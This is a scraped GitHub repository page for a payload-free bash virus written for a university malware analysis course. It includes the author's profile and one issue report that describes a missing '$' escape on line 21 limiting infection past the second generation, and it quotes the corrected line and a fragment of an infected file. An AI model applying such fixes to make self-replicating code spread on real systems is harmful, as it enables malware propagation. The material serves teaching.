vincenzoarceri/bash-virus

A simple bash virus (without payload) for the second assignment of the "Malware analysis and design" course in Master Degree in Computer Science in University of Verona

🔭 Assistant Professor (no-tenure track) at the University of Parma

🌱 Interested in static program analysis and verification, abstract interpretation

📫 How to reach me: vincenzo.arceri[at]unipr[dot]it

⚡ Check out LiSA!

---

---

bash-virus's Issues

Missing Escape of $ results in limited infection

Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation.
echo "tail -n 36 $0 | ...'
should be
echo "tail -n 36 \$0 | ...'

Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.

#dummy.sh ... Lorem ipsum dolor sit amet, tail -n 36 ./virus.sh | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -f2- > /tmp/.ls ...

Cheers,
Martin